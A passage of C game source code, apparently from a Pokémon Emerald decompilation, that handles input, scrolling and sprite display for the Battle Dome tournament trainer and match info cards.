(!DOME_TRAINERS[tournmanetTrainerId].isEliminated && sInfoCard->pos - 1 < roundId) { sprite->invisible = FALSE; } else { if (gTasks[taskId1].data[0] == 2) sprite->invisible = TRUE; } } else { if (sInfoCard->pos != 0) { sprite->invisible = FALSE; } else { if (gTasks[taskId1].data[0] == 2) sprite->invisible = TRUE; } } } else { if (sprite->data[1]) { if (sInfoCard->pos > 1) { if (gTasks[taskId1].data[0] == 2) sprite->invisible = TRUE; } else { sprite->invisible = FALSE; } } else { if (sInfoCard->pos != 0) { sprite->invisible = FALSE; } else { if (gTasks[taskId1].data[0] == 2) sprite->invisible = TRUE; } } } } static void SpriteCB_VerticalScrollArrow(struct Sprite *sprite) { int taskId1 = sprite->data[0]; if (gTasks[taskId1].data[3] == 1) { if (sInfoCard->pos != 0) { if (gTasks[taskId1].data[0] == 2) sprite->invisible = TRUE; } else { sprite->invisible = FALSE; } } else { if (sInfoCard->pos != 1) { if (gTasks[taskId1].data[0] == 2) sprite->invisible = TRUE; } else { sprite->invisible = FALSE; } } } // Task states for Task_HandleInfoCardInput #define STATE_FADE_IN 0 #define STATE_WAIT_FADE 1 #define STATE_GET_INPUT 2 #define STATE_REACT_INPUT 3 #define STATE_MOVE_UP 4 #define STATE_MOVE_DOWN 5 #define STATE_MOVE_LEFT 6 #define STATE_MOVE_RIGHT 7 #define STATE_CLOSE_CARD 8 #define tUsingAlternateSlot data[2] // CARD_ALTERNATE_SLOT static void Task_HandleInfoCardInput(u8 taskId) { int i; int windowId = 0; int mode = gTasks[taskId].data[3]; int taskId2 = gTasks[taskId].data[4]; int trainerTourneyId = 0; int matchNo = 0; switch (gTasks[taskId].tState) { case STATE_FADE_IN: if (!gPaletteFade.active) { BeginNormalPaletteFade(PALETTES_ALL, 0, 0x10, 0, RGB_BLACK); gTasks[taskId].tState = STATE_WAIT_FADE; } break; case STATE_WAIT_FADE: if (!gPaletteFade.active) gTasks[taskId].tState = STATE_GET_INPUT; break; case STATE_GET_INPUT: i = Task_GetInfoCardInput(taskId); switch (i) { case INFOCARD_INPUT_AB: BeginNormalPaletteFade(PALETTES_ALL, 0, 0, 0x10, RGB_BLACK); gTasks[taskId].tState = STATE_CLOSE_CARD; break; case TRAINERCARD_INPUT_UP ... TRAINERCARD_INPUT_RIGHT: case MATCHCARD_INPUT_UP ... MATCHCARD_INPUT_RIGHT: gTasks[taskId].data[5] = i; if (gTasks[taskId].tUsingAlternateSlot) windowId = 9; else windowId = 0; for (i = windowId; i < windowId + 9; i++) { CopyWindowToVram(i, COPYWIN_GFX); FillWindowPixelBuffer(i, PIXEL_FILL(0)); } gTasks[taskId].tState = STATE_REACT_INPUT; break; case INFOCARD_INPUT_NONE: break; } break; case STATE_REACT_INPUT: i = gTasks[taskId].data[5]; switch (i) { case TRAINERCARD_INPUT_UP: case MATCHCARD_INPUT_UP: if (gTasks[taskId].tUsingAlternateSlot) { gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = DISPLAY_HEIGHT; } else { gBattle_BG0_X = 0; gBattle_BG0_Y = DISPLAY_HEIGHT; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; } if (i == TRAINERCARD_INPUT_UP) { if (sInfoCard->pos == 0) { gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT * 2; trainerTourneyId = sTourneyTreeTrainerIds[gTasks[taskId2].data[1]]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_UP, trainerTourneyId); } else { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = 0; trainerTourneyId = sTourneyTreeTrainerIds[gTasks[taskId2].data[1]]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_UP, trainerTourneyId); sInfoCard->pos = 0; } } else // i == MATCHCARD_INPUT_UP { if (sInfoCard->pos == 0) { matchNo = gTasks[taskId2].data[1] - 16; BufferDomeWinString(matchNo, sInfoCard->tournamentIds); gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT * 2; trainerTourneyId = sInfoCard->tournamentIds[0]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_UP, trainerTourneyId); } else if (sInfoCard->pos == 2) { matchNo = gTasks[taskId2].data[1] - 16; BufferDomeWinString(matchNo, sInfoCard->tournamentIds); gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT * 2; trainerTourneyId = sInfoCard->tournamentIds[1]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_UP, trainerTourneyId); } else { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = DISPLAY_HEIGHT; matchNo = gTasks[taskId2].data[1] - 16; DisplayMatchInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_UP, matchNo); } } for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollUp; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollUp; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollUp; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollUp; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } gTasks[taskId].tState = STATE_MOVE_UP; gTasks[taskId].data[5] = 0; break; case TRAINERCARD_INPUT_DOWN: case MATCHCARD_INPUT_DOWN: if (gTasks[taskId].tUsingAlternateSlot) { gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = -DISPLAY_HEIGHT; } else { gBattle_BG0_X = 0; gBattle_BG0_Y = -DISPLAY_HEIGHT; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; } if (i == TRAINERCARD_INPUT_DOWN) { if (sInfoCard->pos == 0) { gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT; trainerTourneyId = sTourneyTreeTrainerIds[gTasks[taskId2].data[1]]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_DOWN, trainerTourneyId); } else { gBattle_BG2_X = 0; gBattle_BG2_Y = 0; trainerTourneyId = sTourneyTreeTrainerIds[gTasks[taskId2].data[1]]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_DOWN, trainerTourneyId); sInfoCard->pos = 0; } } else // i == MATCHCARD_INPUT_DOWN { if (sInfoCard->pos == 0) { matchNo = gTasks[taskId2].data[1] - 16; BufferDomeWinString(matchNo, sInfoCard->tournamentIds); gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT; trainerTourneyId = sInfoCard->tournamentIds[0]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_DOWN, trainerTourneyId); } else if (sInfoCard->pos == 2) { matchNo = gTasks[taskId2].data[1] - 16; BufferDomeWinString(matchNo, sInfoCard->tournamentIds); gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT; trainerTourneyId = sInfoCard->tournamentIds[1]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_DOWN, trainerTourneyId); } else { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = 0; matchNo = gTasks[taskId2].data[1] - 16; DisplayMatchInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_DOWN, matchNo); } } for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollDown; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollDown; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollDown; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollDown; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } gTasks[taskId].tState = STATE_MOVE_DOWN; gTasks[taskId].data[5] = 0; break; case TRAINERCARD_INPUT_LEFT: if (gTasks[taskId].tUsingAlternateSlot) { gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = DISPLAY_WIDTH + 16; gBattle_BG1_Y = 0; } else { gBattle_BG0_X = DISPLAY_WIDTH + 16; gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; } if (sInfoCard->pos == 0) { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = DISPLAY_HEIGHT; trainerTourneyId = sTourneyTreeTrainerIds[gTasks[taskId2].data[1]]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_LEFT, trainerTourneyId); } else { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = 0; matchNo = sIdToMatchNumber[gTasks[taskId2].data[1]][sInfoCard->pos - 1]; DisplayMatchInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_LEFT, matchNo); } for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } gTasks[taskId].tState = STATE_MOVE_LEFT; gTasks[taskId].data[5] = 0; break; case MATCHCARD_INPUT_LEFT: if (gTasks[taskId].tUsingAlternateSlot) { gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = DISPLAY_WIDTH + 16; gBattle_BG1_Y = 0; } else { gBattle_BG0_X = DISPLAY_WIDTH + 16; gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; } if (sInfoCard->pos == 0) { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = DISPLAY_HEIGHT; trainerTourneyId = sInfoCard->tournamentIds[0]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_LEFT, trainerTourneyId); } else { gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT; matchNo = gTasks[taskId2].data[1] - 16; DisplayMatchInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_LEFT, matchNo); } for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollLeft; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } gTasks[taskId].tState = STATE_MOVE_LEFT; gTasks[taskId].data[5] = 0; break; case TRAINERCARD_INPUT_RIGHT: if (gTasks[taskId].tUsingAlternateSlot) { gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = -(DISPLAY_WIDTH + 16); gBattle_BG1_Y = 0; } else { gBattle_BG0_X = -(DISPLAY_WIDTH + 16); gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; } if (sInfoCard->pos == 1) { gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT; } else { gBattle_BG2_X = 0; gBattle_BG2_Y = 0; } matchNo = sIdToMatchNumber[gTasks[taskId2].data[1]][sInfoCard->pos - 1]; DisplayMatchInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_RIGHT, matchNo); for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } gTasks[taskId].tState = STATE_MOVE_RIGHT; gTasks[taskId].data[5] = 0; break; case MATCHCARD_INPUT_RIGHT: if (gTasks[taskId].tUsingAlternateSlot) { gBattle_BG0_X = 0; gBattle_BG0_Y = 0; gBattle_BG1_X = -(DISPLAY_WIDTH + 16); gBattle_BG1_Y = 0; } else { gBattle_BG0_X = -(DISPLAY_WIDTH + 16); gBattle_BG0_Y = 0; gBattle_BG1_X = 0; gBattle_BG1_Y = 0; } if (sInfoCard->pos == 2) { gBattle_BG2_X = DISPLAY_WIDTH + 16; gBattle_BG2_Y = DISPLAY_HEIGHT; trainerTourneyId = sInfoCard->tournamentIds[1]; DisplayTrainerInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_RIGHT, trainerTourneyId); } else { gBattle_BG2_X = 0; gBattle_BG2_Y = DISPLAY_HEIGHT; matchNo = gTasks[taskId2].data[1] - 16; DisplayMatchInfoOnCard(gTasks[taskId].tUsingAlternateSlot | MOVE_CARD_RIGHT, matchNo); } for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot ^ 1; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_TrainerIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; gSprites[sInfoCard->spriteIds[i]].data[3] = sInfoCard->spriteIds[i]; } } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) { gSprites[sInfoCard->spriteIds[i]].callback = SpriteCB_MonIconCardScrollRight; gSprites[sInfoCard->spriteIds[i]].data[0] = gTasks[taskId].tUsingAlternateSlot; gSprites[sInfoCard->spriteIds[i]].data[1] = 0; gSprites[sInfoCard->spriteIds[i]].data[2] = i; } } } gTasks[taskId].tState = STATE_MOVE_RIGHT; gTasks[taskId].data[5] = 0; break; } break; case STATE_MOVE_UP: if (++gTasks[taskId].data[5] != 41) { gBattle_BG0_Y -= 4; gBattle_BG1_Y -= 4; gBattle_BG2_Y -= 4; } else { gTasks[taskId].tState = STATE_GET_INPUT; } break; case STATE_MOVE_DOWN: if (++gTasks[taskId].data[5] != 41) { gBattle_BG0_Y += 4; gBattle_BG1_Y += 4; gBattle_BG2_Y += 4; } else { gTasks[taskId].tState = STATE_GET_INPUT; } break; case STATE_MOVE_LEFT: if (++gTasks[taskId].data[5] != 65) { gBattle_BG0_X -= 4; gBattle_BG1_X -= 4; gBattle_BG2_X -= 4; } else { gTasks[taskId].tState = STATE_GET_INPUT; } break; case STATE_MOVE_RIGHT: if (++gTasks[taskId].data[5] != 65) { gBattle_BG0_X += 4; gBattle_BG1_X += 4; gBattle_BG2_X += 4; } else { gTasks[taskId].tState = STATE_GET_INPUT; } break; case STATE_CLOSE_CARD: if (!gPaletteFade.active) { for (i = 0; i < NUM_INFOCARD_SPRITES / 2; i++) { if (i < 2) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) FreeAndDestroyTrainerPicSprite(sInfoCard->spriteIds[i]); } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) FreeAndDestroyMonIconSprite(&gSprites[sInfoCard->spriteIds[i]]); } } for (i = NUM_INFOCARD_SPRITES / 2; i < NUM_INFOCARD_SPRITES; i++) { if (i < 10) { if (sInfoCard->spriteIds[i] != SPRITE_NONE) FreeAndDestroyTrainerPicSprite(sInfoCard->spriteIds[i]); } else { if (sInfoCard->spriteIds[i] != SPRITE_NONE) FreeAndDestroyMonIconSprite(&gSprites[sInfoCard->spriteIds[i]]); } } FreeMonIconPalettes(); FREE_AND_SET_NULL(sInfoCard); FreeAllWindowBuffers(); if (mode == INFOCARD_NEXT_OPPONENT) { SetMainCallback2(CB2_ReturnToFieldContinueScriptPlayMapMusic); } else { i = CreateTask(Task_ShowTourneyTree, 0); gTasks[i].data[0] = 0; gTasks[i].tNotInteractive = FALSE; gTasks[i].data[2] = 3; gTasks[i].data[3] = gTasks[taskId].data[4]; gTasks[i].tIsPrevTourneyTree = gTasks[taskId2].data[6]; } DestroyTask(taskId); } break; } } // undefine task states for Task_HandleInfoCardInput #undef STATE_FADE_IN #undef STATE_WAIT_FADE #undef STATE_GET_INPUT #undef STATE_REACT_INPUT #undef STATE_MOVE_UP #undef STATE_MOVE_DOWN #undef STATE_MOVE_LEFT #undef STATE_MOVE_RIGHT #undef STATE_CLOSE_CARD static u8 Task_GetInfoCardInput(u8 taskId) { u8 input = INFOCARD_INPUT_NONE; int taskId2 = gTasks[taskId].data[4]; int position = gTasks[taskId2].data[1]; u8 tourneyId = sTourneyTreeTrainerIds[position]; u16 roundId = gSaveBlock2Ptr->frontier.curChallengeBattleNum; if (JOY_NEW(A_BUTTON | B_BUTTON)) input = INFOCARD_INPUT_AB; // Next opponent card cant scroll if (gTasks[taskId].data[3] == INFOCARD_NEXT_OPPONENT) return input; if (gTasks[taskId].data[3] == INFOCARD_TRAINER) { // For trainer info cards, pos is 0 when on a trainer info card (not viewing that trainer's match progression) // Scrolling up/down from a trainer info card goes to other trainer info cards if (JOY_NEW(DPAD_UP) && sInfoCard->pos == 0) { if (position == 0) position = DOME_TOURNAMENT_TRAINERS_COUNT - 1; else position--; input = TRAINERCARD_INPUT_UP; } else if (JOY_NEW(DPAD_DOWN) && sInfoCard->pos == 0) { if (position == DOME_TOURNAMENT_TRAINERS_COUNT - 1) position = 0; else position++; input = TRAINERCARD_INPUT_DOWN; } // Scrolling left can only be done after scrolling right else if (JOY_NEW(DPAD_LEFT) && sInfoCard->pos != 0) { sInfoCard->pos--; input = TRAINERCARD_INPUT_LEFT; } // Scrolling right from a trainer info card shows their match progression else if (JOY_NEW(DPAD_RIGHT)) { // Can only scroll right from a trainer card until the round they were eliminated if (DOME_TRAINERS[tourneyId].isEliminated && sInfoCard->pos - 1 < DOME_TRAINERS[tourneyId].eliminatedAt) { sInfoCard->pos++; input = TRAINERCARD_INPUT_RIGHT; } // otherwise can scroll as far right as the current round allows if (!DOME_TRAINERS[tourneyId].isEliminated && sInfoCard->pos - 1 < roundId) { sInfoCard->pos++; input = TRAINERCARD_INPUT_RIGHT; } } if (input == INFOCARD_INPUT_AB) { if (sInfoCard->pos != 0) gTasks[taskId2].data[1] = sTrainerAndRoundToLastMatchCardNum[position / 2][sInfoCard->pos - 1]; else gTasks[taskId2].data[1] = position; } } else // gTasks[taskId].data[3] == INFOCARD_MATCH { // For match info cards, pos is 1 when on the match card, 0 when on the left trainer, and 1 when on the right trainer // Scrolling up/down from a match info card goes to the next/previous match if (JOY_NEW(DPAD_UP) && sInfoCard->pos == 1) { if (position == DOME_TOURNAMENT_TRAINERS_COUNT) position = sLastMatchCardNum[roundId]; else position--; input = MATCHCARD_INPUT_UP; } else if (JOY_NEW(DPAD_DOWN) && sInfoCard->pos == 1) { if (position == sLastMatchCardNum[roundId]) position = DOME_TOURNAMENT_TRAINERS_COUNT; else position++; input = MATCHCARD_INPUT_DOWN; } // Scrolling left/right from a match info card shows the trainer info card of the competitors for that match else if (JOY_NEW(DPAD_LEFT) && sInfoCard->pos != 0) { input = MATCHCARD_INPUT_LEFT; sInfoCard->pos--; } else if (JOY_NEW(DPAD_RIGHT) && (sInfoCard->pos == 0 || sInfoCard->pos == 1)) { input = MATCHCARD_INPUT_RIGHT; sInfoCard->pos++; } if (input == INFOCARD_INPUT_AB) { if (sInfoCard->pos == 0) // On left trainer info card gTasks[taskId2].data[1] = sTournamentIdToPairedTrainerIds[sInfoCard->tournamentIds[0]]; else if (sInfoCard->pos == 2) // On right trainer info card gTasks[taskId2].data[1] = sTournamentIdToPairedTrainerIds[sInfoCard->tournamentIds[1]]; else // On match info card gTasks[taskId2].data[1] = position; } } if (input != INFOCARD_INPUT_NONE && input != INFOCARD_INPUT_AB) { PlaySE(SE_SELECT); gTasks[taskId2].data[1] = position; gTasks[taskId].tUsingAlternateSlot ^= 1; } return input; } #undef tUsingAlternateSlot // allocatedArray below needs to be large enough to hold stat totals for each mon, or totals of each type of move points #define ALLOC_ARRAY_SIZE max(NUM_STATS * FRONTIER_PARTY_SIZE, NUM_MOVE_POINT_TYPES) static void DisplayTrainerInfoOnCard(u8 flags, u8 trainerTourneyId) { struct TextPrinterTemplate textPrinter; int i, j, k; int trainerId = 0; u8 nature = 0; int arrId = 0; int windowId = 0; int x = 0, y = 0; u8 palSlot = 0; s16 *allocatedArray = AllocZeroed(sizeof(s16) * ALLOC_ARRAY_SIZE); trainerId = DOME_TRAINERS[trainerTourneyId].trainerId; if (flags & CARD_ALTERNATE_SLOT) arrId = 2 * (FRONTIER_PARTY_SIZE + 1), windowId = 9, palSlot = 2; if (flags & MOVE_CARD_RIGHT) x = DISPLAY_WIDTH + 16; if (flags & MOVE_CARD_DOWN) y = DISPLAY_HEIGHT; if (flags & MOVE_CARD_LEFT) x = -(DISPLAY_WIDTH + 16); if (flags & MOVE_CARD_UP) y = -DISPLAY_HEIGHT; // Create trainer pic sprite if (trainerId == TRAINER_PLAYER) sInfoCard->spriteIds[arrId] = CreateTrainerPicSprite(PlayerGenderToFrontTrainerPicId(gSaveBlock2Ptr->playerGender), TRUE, x + 48, y + 64, palSlot + 12, TAG_NONE); else if (trainerId == TRAINER_FRONTIER_BRAIN) sInfoCard->spriteIds[arrId] = CreateTrainerPicSprite(GetDomeBrainTrainerPicId(), TRUE, x + 48, y + 64, palSlot + 12, TAG_NONE); else sInfoCard->spriteIds[arrId] = CreateTrainerPicSprite(GetFrontierTrainerFrontSpriteId(trainerId), TRUE, x + 48, y + 64, 